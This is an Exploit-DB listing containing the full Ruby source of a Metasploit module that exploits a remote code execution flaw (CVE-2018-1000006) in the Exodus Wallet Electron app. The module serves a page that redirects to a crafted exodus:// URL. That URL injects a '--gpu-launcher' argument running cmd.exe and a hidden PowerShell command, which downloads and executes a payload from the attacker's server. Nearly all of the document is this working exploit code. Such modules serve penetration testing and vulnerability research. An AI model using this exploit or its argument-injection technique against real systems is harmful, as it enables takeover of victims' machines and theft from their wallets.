Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit)

EDB-ID: 44357
Author: Metasploit
Published: 2018-03-29
CVE: CVE-2018-1000006
Type: Remote
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF)
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',
'Description' => %q(
This module exploits a Remote Code Execution vulnerability in Exodus Wallet,
a vulnerability in the ElectronJS Framework protocol handler can be used to
get arbitrary command execution if the user clicks on a specially crafted URL.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Wflki', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'DefaultOptions' =>
{
'SRVPORT' => '80',
'URIPATH' => '/',
},
'References' =>
[
[ 'EDB', '43899' ],
[ 'BID', '102796' ],
[ 'CVE', '2018-1000006' ],
],
'Platform' => 'win',
'Targets' =>
[
['PSH (Binary)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 25 2018'
))

register_advanced_options(
[
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
], self.class
)
end

def gen_psh(url)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

download_and_run = "#{ignore_cert}#{download_string}"

return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end

def serve_payload(cli)
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)

print_status("Delivering Payload")
send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')
end

def serve_page(cli)
psh = gen_psh("#{get_uri}payload")
psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")
val = rand_text_alpha(5)

html = %Q|<html>
<!doctype html>
<script>
window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='
</script>
</html>
|
send_response_html(cli, html)
end

def on_request_uri(cli, request)
case request.uri
when /payload$/
serve_payload(cli)
else
serve_page(cli)
end
end

end

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